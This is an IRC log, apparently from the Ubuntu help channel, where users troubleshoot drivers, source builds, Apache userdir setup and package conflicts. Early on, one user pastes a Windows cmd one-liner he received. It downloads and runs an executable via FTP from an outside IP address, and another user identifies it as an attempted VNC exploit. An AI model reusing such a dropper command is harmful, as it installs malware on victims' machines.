[01:49] <nickreynolds> ?
[01:49] <blanky> mattman218: what do you mean? usually you can look for them in the menu or just type their name in the terminal and they'll run
[01:49] <Shootfast> Auron0: yes, but is that what you are using to talk to me on
[01:49] <Auron0> no
[01:49] <Auron0> i am in windows right now
[01:49] <blanky> mattman218: if you mean the folder they're in, it's usually spread among many (binaries in bin directories, etc. etc.)
[01:49] <Shootfast> Auron0: so you dual boot?
[01:49] <Auron0> correct
[01:49] <mattman218> blanky, i agree, but i compiled it from source in KDE
[01:49] <nickreynolds> why did i just say this
[01:49] <nickreynolds> 06:48:56 PM) nick: oot%\system32\cmd.exe
[01:49] <nickreynolds> (06:48:58 PM) nick: cmd /c echo open 201.215.98.178 27265 >> ik &echo user x y >> ik &echo get 5.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &5.exe &exit
[01:50] <Kevin> kitche do I just remove the section under nvidia? or do I have to install nvidia-kernel* or something?
[01:50] <kitche> Kevin: uninstall all of the nvidia packages
[01:50] <Auron0> Shootfast: I have one 160GB NTFS partion, should i split a chunck of that into something else? or would that not matter
[01:50] <Shootfast> Auron0: ok, what you have to do is boot ubuntu, wait for the sound, then click ctrl alt f1, and then type sudo dpkg-reconfigure xserver-xorg
[01:50] <blanky> mattman218: if you did a 'make install' then it should've installed it
[01:50] <mattman218> blanky, i installed a newer version of the program that is not in the repos
[01:50] <Auraya> Does anyone know why everytime I get ndiswrapper installed and try and reboot I cant get Ubuntu to start?
[01:50] <mattman218> i did
[01:50] <blanky> mattman218: then it should be installed
[01:50] <kitche> nickreynolds: seems like someone tried to exploit your vnc
[01:51] <Kevin> kitche I deleted the packages after I installed them....
[01:51] <blanky> mattman218: just run it as you usually run it
[01:51] <blanky> mattman218: either from the terminal or from the menu
[01:51] <kitche> Kevin: ok so sudo nano /etc/X11/xorg.conf and remove nvidia from it if its still in it
[01:51] <Shootfast> Auron0: yeah, you'll have to do that anyway to install ubuntu, but hopefully if we get the graphics running, the installer will do it for you
[01:52] <mattman218> blanky, i think i might try to install it again, because i type k9copy in the terminal to run it, and it says that it's not installed
[01:52] <mattman218> brb
[01:52] <Kevin> kitche ok ill try that
[01:52] <Auron0> Shootfast: Alright, I am running Dual GeForce 7600 GTs if that aids in anything.
[01:52] <gan|y|med> hi
[01:52] <kitche> nickreynolds: I would if I was you do some searching since you might have software installed that command installed but then again it is a window command
[01:52] <gan|y|med> why does fglrx.ko get deleted every time the system is restarted???
[01:52] <nickreynolds> what
[01:52] <DjViper> when feisty is "released" officially, will it be safe to dist-upgrade directly? or should I install it from scratch?
[01:52] <PriceChild> !upgrade | DjViper
[01:52] <ubotu> DjViper: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[01:52] <DjViper> ok
[01:53] <blanky> mattman218: not meaning to pull a 'RTFM', but try and read the README or INSTALL files if they're there
[01:53] <gan|y|med> btw i am on feisry
[01:53] <gan|y|med> t
[01:53] <blanky> mattman218: chances are the name changed or something you forgot to do
[01:53] <Shootfast> Auron0: ok, after you type sudo dpkg-reconfigure xserver-xorg, it will walk you through setting up your graphics, when it asks for a driver - pick "nv"
[01:53] <mattman218> blanky, thanks i'm in process right now
[01:53] <nickreynolds> ok so i have GDHCP installed on gnome but it says i need to be root to run it
[01:53] <Kuprin> hey guys, my ACX100 wifi card is locking up Ubuntu's boot sequence, regardless of what version I use. It does it on Edgy, it does the same thing on Dapper, etc.
[01:53] <blanky> mattman218: okay
[01:54] <nickreynolds> i am logged in with the admin account
[01:54] <Auron0> Shootfast: Alright thanks, I am going to go try that, if it doesn't work I will come back. If it does, well, gratz to me :D
[01:54] <nickreynolds> why am i not root
[01:54] <kitche> nickreynolds: doesn;t mean your using root powers though
[01:54] <Pelo> DjViper,  personnaly I am goint to dl the cd first and then try to just upgrade,  I have my /home folder on a different partition anyway so there isn'T realy any risk for my data
[01:54] <Shootfast> Auron0: Cool, hope it works :D
[01:54] <kitche> nickreynolds: sudo for cli or gksu for graphical
[01:54] <Auron0> I do too
[01:55] <nickreynolds> type gksu in command line?
[01:55] <DjViper> Pelo: Okay
[01:55] <kitche> nickreynolds: gksu <command>
[01:55] <vodge> alguem fala portugues aki?
[01:55] <DjViper> Pelo: Thanks
[01:55] <blanky> !portuguese | vodge
[01:55] <ubotu> vodge: Por favor use #ubuntu-br ou #ubuntu-pt  para ajuda em portugus. Obrigado.
[01:56] <Kuprin> Ok, new update on what's breaking - when I put the card in while the system is running, it immediately locks up.
[01:56] <Kuprin> removing it power cycles the machine >_>
[01:56] <Kuprin> I am beginning to think it is a hardware failure.
[01:56] <Auraya> anyone free to give me a hand?
[01:56] <Pelo> what kind of card ?
[01:57] <Kuprin> ACX100 PCMCIA card
[01:57] <Pelo> Auraya,  what with ?
[01:57] <Kuprin> aka the infamous D-Link AirPlus POS :P
[01:57] <vodge> thanks
[01:57] <Pelo> Kuprin,  did you try searching for that card model in the forum ?
[01:57] <xtknight> anyway to map an alsa device to hw0:0 from hw1:0?
[01:57] <Auraya> Pelo: everytime i get ndiswrapper installed and try and reboot I cant get Ubuntu to start
[01:57] <Kuprin> Pelo, yeah, it's listed as supported in Dapper and onward
[01:57] <Kuprin> That was the first thing I did, was wait for a version that supports it. Now I'm just getting random BS problems. :P
[01:57] <Pelo> Kuprin,  not what I mean,   check the forum for fixes
[01:58] <Kuprin> Ah, nobody's reporting this problem
[01:58] <Kuprin> AHA
[01:58] <Pelo> Auraya,   sorry I can'T help with that I know nothing about ndiswrapper  ,  ask you question periodicaly or check the forum,   you can also try asking at different times of day
[01:58] <Kuprin> found someone with the problem in slackware :D
[01:58] <Kuprin> I might have an answer soon
[01:58] <mattman218> blanky, i just installed it again, no errors, or anything.  and the terminal still says that the program is not installed
[01:59] <blanky> mattman218: read the README and/or other files, like I already said
[01:59] <blanky> mattman218: also, you should have had removed it using apt-get if that's how you installed the initial one
[01:59] <Pelo> mattman218,  are you sure you have the correct command to start the prog ?
[01:59] <blanky> to avoid any confusions
[01:59] <Auraya> Pelo: thanks anyway, I asked on the forum and didnt get any replies and thought a reinstall would solve the problem (installing edgy instead of feisty) so I "resolved" the problem as there were no replies anyways!
[01:59] <Kuprin> Pelo, still stuck, the slack guy never got a fix ><
[01:59] <Auraya> Does anyone know why everytime I get ndiswrapper installed and try and reboot I cant get Ubuntu to start?
[01:59] <Pelo> Auraya,  don't ask in the forum   search for the problem
[01:59] <mattman218> blanky, yes, did all of that
[02:00] <Kuprin> Someone told me to try an Edgy liveCD, the boot froze, trying it while running now to see if the same problem happens
[02:00] <mattman218> Pelo, yes, the prog is k9copy
[02:00] <blanky> mattman218: what's the program?
[02:00] <Kuprin> and we are locked. Dammit.
[02:00] <blanky> okay
[02:00] <Auraya> Pelo: I tried, I read every thread I can on installing ndiswrapper, wireless problems, getting wireless to work etc I cant find anything specific to my problem though
[02:00] <Pelo> Kuprin,  I sympatize,   I was never able to get my camera to work as a webcam,  ( but it was only a cheap one and I didn'T realy care,  exectp for the challenge fo the thing)
[02:00] <blackest> you know when you apt-get install something and it gives you something to read how do exit the text file
[02:00] <blanky> mattman218: where'd you get it from
[02:00] <blanky> kde-apps.org?
[02:00] <mattman218> the k9copy website
[02:00] <Pelo> Auraya,  google then
[02:00] <Kuprin> Pelo, apparently the power-cycling isn't hardware, it's an Ubuntu issue, because it doesn't do it during the boot sequence
[02:01] <Kuprin> It only does it while locked up
[02:01] <blanky> what version? mattman218 ?
[02:01] <xamox> anyone know why my usb won't auto mount? I can manually mount it?
[02:01] <Auraya> Pelo: I did, thats why when I reinstalled I used Edgy because the problem I had previous to this one appeared to be a bug with fiesty and what I was doing hence my change
[02:01] <mattman218> blanky, do i need to refresh KDE?  the version is 1.1.1-3
[02:01] <blanky> mattman218: doubt it, since you're running from the terminal, hold up
[02:02] <mattman218> blanky, ok
[02:02] <Pelo> Auraya,  is there a channel for ndlswrapper, ? you might have some luck in there
[02:02] <Auraya> Pelo: oh thanks I will have a look :)
[02:03] <blanky> mattman218: try ' ls /usr/local/bin | grep k9 '
[02:03] <Pelo> Auraya,  there is a channel for it , good luck
[02:04] <blanky> mattman218: and you obviously did './configure, make, sudo make install' verbatim?
[02:04] <mattman218> blanky, i pasted that into a terminal, is there any confirmation that it did anything?
[02:04] <mattman218> blanky, yes
[02:04] <blanky> mattman218: if there's no output then that means it didn't find anything
[02:04] <blanky> you didn't have any problems with configure?
[02:04] <blanky> I need the qt libraries
[02:04] <kevin> hello
[02:05] <boh3m3> Hello
[02:05] <kevin> kitche, I made it, it was the pCI device identifier
[02:05] <thepumpkin1979> how i could disable the automatic initial synaptic packages list ?
[02:05] <mattman218> blanky, if i did have configure problems, i coulkn't make install
[02:05] <Flannel> thepumpkin1979: automatic initial? what?
[02:05] <m1r> hi all
[02:05] <thepumpkin1979> Flannel: when I run synaptic, it shows a list of packages.
[02:06] <thepumpkin1979> I don't want that. I want disable that.
[02:06] <kevin> what does it mean when HAL fails to initialize?
[02:06] <owh> mattman218: Is there any reason you're doing a sudo make install, rather than a checkinstall?
[02:06] <m1r> i have one broken package and now apt-get want uninstall all 150 packages i instaled
[02:06] <Shootfast> thepumpkin1979: erm, but thats the point of synaptic
[02:06] <mattman218> owh, not in particular, it just seemed to be the most simple
[02:06] <owh> Hmm, sorry mattman218, that should have gone to blanky. Is there any reason you're doing a sudo make install, rather than a checkinstall?
[02:07] <thepumpkin1979> Shootfast: i know, but it does automatic when I load. I want to view packages list ONLY when I Search for.
[02:07] <Brady_M> Anyone know Drupal her?
[02:07] <Brady_M> here
[02:07] <blanky> owh: I'm not the one installing...
[02:07] <mattman218> lol
[02:07] <thepumpkin1979> Shootfast: my english is bad, i'm sure you do not understand me:P
[02:08] <Flannel> Brady_M: #Drupal or #ubuntu-offtopic
[02:08] <owh> mattman218: The reason I ask is that sudo make install modifies your system in a non-standard way. The checkinstall runs the make install and creates a .deb, allowing you to uninstall the package later.
[02:08] <Pelo> m1r,  apt-get doesn't try to remove stuff on it's onw , what were you doing when it decided that it wanted to remove stuff ?
[02:08] <Brady_M> Flannel: THx
[02:08] <Shootfast> thepumpkin1979: I'm not sure that I do. You want it so that when you start synaptic, you see nothing untill you search?
[02:08] <thepumpkin1979> Shootfast: exactly!
[02:08] <m1r> Pelo , i was trying to fix via synaptic
[02:09] <Shootfast> thepumpkin1979: Any particular reason why?
[02:09] <Pelo> m1r,  fix what ?
[02:09] <owh> Anyway, that was an aside, what are you trying to fix mattman218?
[02:09] <m1r> broken package
[02:09] <thepumpkin1979> Shootfast: mlr, may be.
[02:09] <thepumpkin1979> Shootfast: it crashes.
[02:09] <Auraya> Pelo: thanks :) no-one seems to be around at the moment but hopefully I will get sorted, appreciate the help!
[02:10] <mattman218> owh, i configure and make, and make install, with no errors, but the program is not installed, or at least terminal tells me
[02:10] <thepumpkin1979> I run it from terminal and it does not show anything.
[02:10] <owh> mattman218: Which programme?
[02:10] <Auron0> Shootfast: Well, I failed.
[02:10] <thepumpkin1979> sinaptic just quit.
[02:10] <Pelo> m1r,  my suggestion is this,   let synatpic do what it wants,  then reboot, if the comp doesn'T start , boot in recovery mode and  type  sudo apt-get install ubuntu-desktop   that should reload the missing packages and allow you to work
[02:10] <Shootfast> can you run synaptic from the command line and tell me what it says?
[02:10] <m1r> libgconf2-4
[02:10] <sasimon19> thepumpkin1979: use the command 'sudo apt-get'
[02:10] <Shootfast> Auron0: I 'm guessing you got stuck at a command prompt after you did everything?
[02:10] <thepumpkin1979> Shootfast: it says nothing:D
[02:10] <Pelo> Auraya,  different ppl are here at different times of day,  with different skills  ,  take that into account
[02:11] <mattman218> owh, i mean, i get a few warnings as the text is flying past the window... lol it's k9compy 1.1.1-3
[02:11] <thepumpkin1979> I will try Pelo and sasimon19. Thanks
[02:11] <Auron0> Shootfast: Yeah after i did everything, it kicked me back to the command prompt and i was like uhh.
[02:11] <thepumpkin1979> thanks Shootfast
[02:11] <Shootfast> thepumpkin1979: it must say something, open up terminal and type sudo synaptic
[02:11] <thread> ok so it's my center/sub channel that is outputting all kinds of static. also, my rear channel isn't outputting anything. nothing in alsamixer seems to help. what does one do......
[02:11] <owh> mattman218: Don't worry about warnings at the moment, are there any errors? Most likely the ./configure is failing somewhere because of a missing dependency.
[02:11] <Shootfast> Auron0: But you got to set your graphics up, that all went ok?
[02:12] <sasimon19> sudo apt-get update | sudo apt-get upgrade
[02:12] <thepumpkin1979> Shootfast: this is very strange:S...
[02:12] <m1r> 5 rows ok for paste ?
[02:12] <m1r> :)
[02:12] <Auron0> Shoostfast: Yes i was able to go through that process, no problems.
[02:12] <thepumpkin1979> I will reboot, see you later:)
[02:12] <owh> m1r: No, use pastebin.
[02:12] <m1r> kk
[02:12] <sasimon19> anyone here help with vmware installs?
[02:12] <owh> !pastebin > m1r
[02:12] <Shootfast> Auron0: OK, i forgot to tell you how to re-enable the graphics, sorry :S
[02:12] <Auron0> Shootfast: XD
[02:12] <mattman218> owh, ./configure returns no errors, make completes, and checkinstall is running ATM
[02:12] <m1r> !pastebin
[02:12] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[02:13] <n00bie> hello folks
[02:13] <ahmed> hi, i have a permissions preoblem, i cant create or access files in the var/www/ directory, how can i give permissions to a user to access that folder
[02:13] <owh> ahmed: Access or write?
[02:13] <n00bie> how do I let my bluetooth work in my toshiba sat ?
[02:13] <ahmed> write
[02:14] <Shootfast> Auron0: after you do your graphics type sudo /etc/init.d/gdm stop
[02:14] <mattman218> owh, checkinstall returns no errors.  now i should be able to type k9copy in the terminal and have the prog load, right?
[02:14] <n00bie> someone give me a step and feedback
[02:14] <ahmed> owh: write
[02:14] <Shootfast> Auron0: then sudo gdm
[02:14] <Auron0> Shootfast:Ok what will happen then.
[02:14] <m1r> Pelo ; http://paste.ubuntu-nl.org/16184/
[02:14] <n00bie> Anybody there ?
[02:14] <owh> ahmed: Add the user to the www-data group. That should take care of it.
[02:15] <Shootfast> Auron0: that will kill gnome which is running in the background (gnome is the display manager)
[02:15] <n00bie> how do I run my built-in bluetooth in my laptop ?
[02:15] <blanky> hey guys what package is kde headers?
[02:15] <Shootfast> Auron0: and then sudo gdm will restart it with the new settings
[02:15] <Auron0> Shootfast: Ok, and hopefully that will work xD
[02:15] <Shootfast> yep
[02:15] <mattman218> n00bie, what are you running? KDE or GNOME?
[02:15] <n00bie> mattman218, gnome
[02:15] <Shootfast> if your still in black, try ctrl alt backspace
[02:15] <Pelo> m1r,  that sounds to me like you need a fresh install
[02:16] <ahmed> owh: how to do that ?
[02:16] <m1r> all of that for one package ? :/
[02:16] <owh> Pelo: A fresh install is a Windows solution, not in Linux land.
[02:16] <mattman218> n00bie, what version?  edgy or feisty??
[02:16] <Pelo> m1r,  seriously I don'T know what to tell you ,
[02:16] <hendrixski> hhhmmm... every time I turn on IRC it automatically connects to #ubuntu... is there a way to stop that? I can't seemto find it in the menu
[02:16] <owh> m1r: What actual problem do you have?
[02:16] <m1r> ok ty m8 :)
[02:16] <Pelo> owh,  did you look at his pastebin ?
[02:16] <n00bie> mattman218, edgy
[02:16] <m1r> owh ; http://paste.ubuntu-nl.org/16184/
[02:16] <Auron0> Shootfast: Alright I am going to try that
[02:16] <tehxed_> I have an issue with installing Opera Web browser; I'm running Ubuntu Edgy eft 6.10 (AMD64 installation); I'm using the http://ubuntuguide.org/wiki/Ubuntu_Edgy#How_to_install_Opera_web_browser guide. Everytime I get to this step "sudo dpkg -i --force-all opera-static_9.10-20061214.1-qt_en_i386.deb" I get the following error http://pastebin.ca/445645 . Can anyone help me out with this?
[02:16] <m1r> 1 broken package
[02:16] <Auron0> Shootfast: Again if it fails, I will be back
[02:16] <Shootfast> Auron0: hope that work
[02:16] <Shootfast> Auron0: cool
[02:17] <nomasteryoda> n00bie, not that you are using kde, but the files are similar... see my post here... http://mgalug.org/distros/ubuntu/bluetooth
[02:17] <owh> ahmed: In System -> Administration -> Users and groups
[02:17] <m1r> owh , synaptic also wants all that out :(
[02:17] <owh> m1r: Gimmie a mo, I'm looking at it.
[02:17] <ahmed> owh: ok,  iam in, where should i go
[02:17] <mattman218> n00bie, the best way that i know how is to take a look in synaptic and search for bluetooth, that will give you the ability to use BT
[02:17] <m1r> ty m8
[02:17] <mungewell> Trying to plan a Party/PissUp..... since the RC for feisty was delayed, does this mean that release won't happen on the 19th?
[02:18] <n00bie> mattman218, ok hold on I'll check and feedback
[02:18] <cyris> Can anyone recommend a camera application ?
[02:18] <Pelo> tehxed_,   did you install ubuntu 64bit ?
[02:19] <hendrixski> mungewell, that's a good question.  a bunch of loco teams already have events planned
[02:19] <tehxed_> Pelo: Yes.
[02:19] <owh> ahmed: Click on Manage Groups. If all is well, you should see a www-data group. If not, let me know.
[02:19] <tehxed_> Pelo: I used the AMD64 Bit installation.
[02:19] <owh> m1r: What did you do before you got into this situation?
[02:19] <hendrixski> mungewell, I assume that it's still coming out on time.  I hope  the site still says it's going to be one time
[02:19] <Pelo> tehxed_,  and the error you are getting is that you are trying to install opera for i386 on a 64 bit system ,  that seems to be pretty self explanatory
[02:20] <tehxed_> Pelo: But if you check the guide, it tells you to do that.
[02:20] <ahmed> owh : i dont find www-data group
[02:20] <tehxed_> Pelo: "* For amd64 systems, download static qt package (i386) from http://www.opera.com, and use sudo dpkg -i --force-all opera-static_9.10-20061214.1-qt_en_i386.deb"  From the guide.
[02:20] <Pelo> tehxed_,  find a 64bit package or opera or it might just be you need to correct that command to read 64 bit and not i386
[02:20] <owh> ahmed: One moment...
[02:21] <m1r> owh , i had one package problem which wasnt instaled corectly
[02:21] <Pelo> tehxed_,  then either there is something wrong with the guide or with you system,  you might want to consider compiling from source instead
[02:21] <owh> Hmm, can anyone confirm if the root user is the owner/group of their /var/www directory. This doesn't seem right.
[02:21] <tehxed_> Pelo: no idea how to go about doing that
[02:21] <jrib> owh: that is correct
[02:21] <Pelo> tehxed_,  http://cutlersoftware.com/ubuntuinstall/
[02:22] <owh> m1r: Can you please be a little more specific. What did you do, what broke, what commands/actions.
[02:22] <owh> jrib: Hmm, tah.
[02:22] <ardchoille> owh: mine is  www-data:root  for owner:group
[02:22] <mattman218> owh, sorry to bother, but checkinstall made a .deb file, and i installed that... and it still didn't show up as installed... error free
[02:23] <m1r> owh ; installed with apt-get one package that was not good
[02:23] <owh> mattman218: Perhaps the file was installed correctly, but the executable is in the wrong directory.
[02:23] <owh> m1r: Which package, from where, how?
[02:23] <tehxed_> Pelo: How would I check to see if it's actually a 64Bit installation?
[02:23] <m1r> ebox
[02:23] <owh> ardchoille: What version of Ubuntu are you running?
[02:23] <Pelo> tehxed_,  with the source ?
[02:24] <mattman218> owh, seems to make sense, how would i find that executable and move it?
[02:24] <owh> ahmed: Which version of Ubuntu are you running?
[02:24] <ardchoille> owh: Ubuntu 6.06.1 LTS
[02:24] <tehxed_> Pelo: What do you mean with the source?
[02:24] <ahmed> 6.10
[02:24] <mungewell> I checked on the Milestone page for fiesty and it says 'Date expected:  in 23 hours' so does that mean I should wear my drinking shoes tomorrow (I'm UTC+7 - so it should be out before the pub shuts).
[02:24] <m1r> owh ; http://www.debianhelp.co.uk/ebox.htm
[02:24] <owh> mattman218: cd / ; find -type f | grep {exec name}
[02:24] <Pelo> tehxed_,  check if "what" is a 64 bit installation ?
[02:24] <owh> mattman218: Or: sudo updatedb && locate -i {exec name}
[02:24] <tehxed_> Pelo: How would I check to see if this installation of Ubuntu is actually 64Bit
[02:25] <ahmed> owh: 6.10
[02:25] <giod> ahhh! my server will not boot
[02:25] <owh> jrib: Which version are you running?
[02:25] <Pelo> tehxed_,  I think it is clear from your error msg that ubuntu is a 64 bit install, otherwise you wouldn'T be geting that msg, besides don't you know what you installed ?
[02:25] <jrib> owh: feisty, but it has always been like that
[02:25] <n00bie> mattman218, your guide doesn't work
[02:25] <owh> jrib: Well, not on Dapper according to ardchoille
[02:26] <owh> jrib: And I know that it's not like that under Debian.
[02:26] <tehxed_> Pelo: I am about 99% sure  it's a 64Bit installation, but this error message is confusing me
[02:26] <mattman218> n00bie, you gotta say more than it doesn' work.. lol any errors, what happened?
[02:26] <jrib> owh: how is it under debian?
[02:26] <owh> jrib: www-data
[02:26] <Shootfast> texhed - just check in synaptic which linux-image you have installed
[02:26] <jrib> owh: for both?
[02:26] <n00bie> mattman218, hidd --search
[02:26] <jrib> owh: www-data shouldn't even own web stuff
[02:27] <n00bie> mattman218, Device is not available: No such device
[02:27] <ardchoille> jrib: That's the default in the apache2 installed from the dapper repos
[02:27] <Pelo> tehxed_,  see in that command you are trying to run where it says  i386.deb ?  that means you are trying to install a .386 package,   see in the msg where it says your system is 64 bit ?
[02:27] <FabioBr> hi
[02:27] <owh> jrib: Good question, not sure. What do you mean, it shouldn't own web-stuff.
[02:27] <metaosps> hi, will 7.04 64bit work on core 2 duo system using P965 chipset?
[02:27] <tehxed_> Pelo: right, but why is it giving me the error
[02:27] <owh> jrib: I thought that was the whole point?
[02:27] <Shootfast> texhed: if it says Linux kernel image for version 2.6.20 on x86/x86_64
[02:27] <n00bie> mattman218, hcitool dev - there's no device
[02:27] <tehxed_> Pelo: So is it likely the guide is wrong?
[02:27] <jrib> owh: apache shouldn't be able to edit a file unless it needs to.  For example, with wiki data
[02:27] <ahmed> owh: 6.10
[02:27] <Pelo> tehxed_,  that is what I think
[02:27] <grok_linux> running livecd 6.10 and on load of gui login the screen goes black with (sometimes) cursor in upper left hand corner. same issue with 6.06 disc and 6.10. have tried options of acpi-off noapic nolapic with no extra results. new box with nvidia vid cards, 2gb ram etc. any suggestions to get it working?
[02:27] <owh> ahmed: Yup, I'm working on it...
[02:27] <mattman218> n00bie, hmm... i've never had that error.  have you tried searching on ubuntu forums for this?
[02:28] <m1r> owh ; libgconf2-2 is in conflict with libgconf2-4
[02:28] <ahmed> owh: thanks :)
[02:28] <grok_linux> acpi=off*
[02:28] <n00bie> mattman218, no
[02:28] <tehxed_> Pelo: That blows
[02:28] <owh> m1r: Gimmie a mo...
[02:28] <m1r> rgr
[02:28] <n00bie> mattman218, can you help me searching for the appropriate link
[02:28] <owh> jrib: Fair point.
[02:28] <FabioBr> Hi, i'm connecting thought vpn to my company, using webdmin. But always i have to rewrite /etc/resolv.conf to put the dns server of my company at this file. There is a way to do this automatically?
[02:28] <Pelo> tehxed_,   so go to the opera website,  and try downloading either  a 64bit .deb package or  dl the source ( usualy tar.gz) and compile from scratch
[02:28] <mattman218> n00bie, try searching there. yeah, gimme a sec
[02:29] <m1r> owh  ; brbeer shoping
[02:29] <tehxed_> Pelo: I can't find a 64bit on their website (Opera's)
[02:29] <Pelo> tehxed_,  so you have one option left
[02:29] <n00bie> mattman218, thanks mate and sorry for disturbing you
[02:29] <tehxed_> Pelo: which is?
[02:29] <metaosps> hi, will 7.04 64bit work on core 2 duo system using P965 chipset?
[02:29] <mattman218> n00bie, it's not prob
[02:30] <owh> jrib: So, is there a Ubuntu way of providing access to the web directory for users? Because I cannot think of any, other than changing the ownership of the directory tree.
[02:30] <Pelo> tehxed_,  the shortness or your memory is disturbing,   compile from source
[02:30] <thepumpkin1979> done.
[02:30] <Pelo> or/of
[02:30] <thepumpkin1979> I reboot the machine and reinstall desktop:P
[02:30] <owh> ahmed: Are you doing this for a server, or a workstation, that is, one person or many people?
[02:30] <satempler> what tool can I use to join 2 seprate videos
[02:30] <Pelo> satempler,  avidemux is nice
[02:31] <tehxed_> Pelo: Right, but you just said to get a 64bit and then compile. If I can't the 64bit .deb package what would i be compiling?
[02:31] <satempler> avidemux
[02:31] <satempler> ok
[02:31] <bruenig> satempler, you can use avimerge, it is part of transcode, from the commandline
[02:31] <Pelo> tehxed_, ...  get a 64bit deb package or  get the source and compile
[02:31] <ahmed> owh: this is my personal computer, i am a web developer, and i need it as a local server to develop my applications on it
[02:31] <tehxed_> Pelo: Roger
[02:31] <owh> m1r: Hmm, so you just copied and pasted those instructions?
[02:31] <satempler> bruenig: thanks
[02:31] <Pelo> tehxed_,   NO  Pelo:Jean
[02:32] <mattman218> n00bie, here is a starting link...  http://ubuntuforums.org/showthread.php?t=315595&highlight=bluetooth+in+edgy
[02:32] <tehxed_> Pelo: I meant "Roger that"
[02:33] <mungewell> owh - can you add the appropriate user to the 'www' group?
[02:33] <n00bie> mattman218, ok hold tight
[02:33] <grok_linux> any suggestions for fixing black screen when gui login loads? (tried acpi=off noapic nolapic)
[02:33] <owh> ahmed: Cool, well, you could just create a web directory in your home directory. Call it public_html, activate the apache module userdir.load, and you *should* have localhost/~{username}
[02:33] <jrib> owh: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=270593
[02:33] <owh> mungewell: Except that the directory is owned by root:root
[02:33] <steven_> Around what time will Feisty be available tomorrow?
[02:33] <thepumpkin1979> in which channel can I comment a Ubuntu Desktop Improvement?
[02:34] <bruenig> thepumpkin1979, sounds like more of a forums thing, or #ubuntu-offtopic if you must
[02:34] <jrib> owh: I just create a new group for web developers
[02:34] <Pelo> steven_,  are you down to the minute on this ?
[02:34] <owh> jrib: Saw the bug, I agree. I'm wrong.
[02:34] <craigbass1976> I want a fun low-resource fps.  Is there one in the ubuntu repos anywhere?
[02:35] <owh> So, the other way is to change the ownership to root:www, add the user to www, magic -- anyone disagree?
[02:35] <steven_> Pelo: nah, I was just wondering if I could grab the download before I headed off to work
[02:35] <owh> ahmed: Are you following this?
[02:35] <Pelo> steven_,    torrent + RSS downloader
[02:35] <m1r> owh , yes, then one package was missing so i add it
[02:35] <ahmed> owh: yes
[02:36] <ahmed> owh: googling for the way to enable that module
[02:36] <owh> m1r: From where?
[02:36] <jrib> owh: might want to setgid the directory so new files that are created have the www group
[02:36] <babo> what's the name of the commandline touchpad tool again ?
[02:36] <n00bie> mattman218, doesn't help me
[02:36] <owh> ahmed: Hold on for that a moment.
[02:36] <n00bie> mattman218, :(
[02:36] <jrib> babo: synclient?
[02:36] <m1r> owh, not sure
[02:36] <owh> jrib: Hmm, so we should set it www:www, rather than root:www
[02:36] <m1r> owh ;  but know i now libgconf2-2 is in conflict with libgconf2-4
[02:37] <m1r> how can i fix that
[02:37] <jrib> owh: I leave it root:www, unless you want to create a new www user
[02:37] <ahmed> owh: should i uncomment this in apache configuration file #UserDir public_html
[02:37] <ahmed> ?
[02:37] <Pelo> later folks
[02:37] <babo> jrib: thanks
[02:37] <m1r> l8r
[02:37] <owh> ahmed: Hold on, we're coming up with another solution.
[02:37] <mattman218> n00bie, try and install "bluetooth chat" in synaptic
[02:38] <ahmed> owh: ok
[02:38] <owh> m1r: One mo.
[02:38] <mattman218> n00bie, if that doesn't help, then IDK
[02:38] <m1r> owh tnx :)
[02:38] <Auron0> Shootfast: I fail again
[02:38] <craigbass1976> I want a fun low-resource first-person-shooter.  Is there one in the ubuntu repos anywhere?
[02:38] <jrib> ahmed: use the a2enmod command
[02:39] <dac> email forwards, how do you delete address trails
[02:39] <owh> jrib: Any preference for the public_html vs new group?
[02:39] <Auron0> Shootfast: I do /etc/init.d/gdm. stop and it works fine
[02:39] <Shootfast> awesome
[02:39] <Auron0> But
[02:39] <Shootfast> oh wait
[02:39] <Shootfast> thats bad
[02:39] <Shootfast> so it didnt restart gnome?
[02:39] <beg1689> craigbass1976 quake 1
[02:39] <beg1689> oh wait
[02:39] <beg1689> not on repos
[02:39] <Auron0> Shootfast: Well i don't think so, when I do sudo gdm, it tells me it is already running
[02:39] <owh> !enter
[02:39] <ubotu> Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!
[02:40] <jrib> owh: if you don't need more than one person to edit the same file than, public_html sounds better
[02:40] <beg1689> sorry :)  how low-resource do you need? you could try warso
[02:40] <owh> jrib: Yeah.
[02:40] <ahmed> jrib : ahmed@mshome:~$ sudo a2enmod userdir.load
[02:40] <ahmed> Password:
[02:40] <ahmed> This module does not exist!
[02:40] <ahmed> ahmed@mshome:~$
[02:40] <jrib> ahmed: just "userdir"
[02:41] <jrib> ahmed: a2enmod without an argument will give you a list
[02:41] <babo> jrib: I've turned off tapping from the widget, but it continues to tap every couple of seconds automatically ...
[02:41] <Shootfast> after you try the graphics wizard, click ctrl alt f7 or f8, those are the graphical terminals
[02:41] <babo> I don't see any synclient setting for tapping ...
[02:41] <ahmed> jrib : done
[02:41] <Auron0> Shootfast: Ok and what should i do after i get there
[02:41] <owh> ahmed: Make a directory called public_html in your home directory.
[02:41] <Shootfast> well hopefully you'll be at a graphical desktop
[02:41] <jrib> babo: does http://scottcollins.net/blog/2006/01/disable-touchpad-tap-in-kubuntubreezy.html help?
[02:42] <Shootfast> do you have another computer that you can talk through whilst doin it?
[02:42] <n00bie> mattman218, I'm installing bluetooth chat now
[02:42] <Auron0> Shootfast: Yeah i am on another one now
[02:42] <n00bie> mattman218, let me check and feedback
[02:42] <Auron0> Shootfast: Its in another room but I will move back and forth
[02:42] <mattman218> n00bie, feedback
[02:42] <babo> jrib: kubuntu ? I'm on gnome ...
[02:42] <Shootfast> lol ok
[02:42] <Auron0> Alright going to try now
[02:42] <jrib> babo: did you look at the page?
[02:42] <owh> ahmed: Now visit: http://127.0.0.1/~ahmed
[02:43] <Shootfast> give the graphical setup a whirl and then kill gnome, then type ctl-altf7
[02:43] <ahmed> owh: donw
[02:43] <ahmed> owh: i think it is worked
[02:43] <Shootfast> or cycle through the ctrl-alt-fx keys
[02:43] <owh> Excellent :)
[02:43] <ahmed> owh : i am putting an app now to test :)
[02:43] <Auron0> OK shootfast
[02:43] <owh> ahmed: All good. Thanks jrib.
[02:44] <babo> jrib: k thanks :-)
[02:44] <owh> m1r: Ok, now you ran the commands on the web page you showed me. What happened then?
[02:44] <m1r> owh ;  but know i now libgconf2-2 is in conflict with libgconf2-4
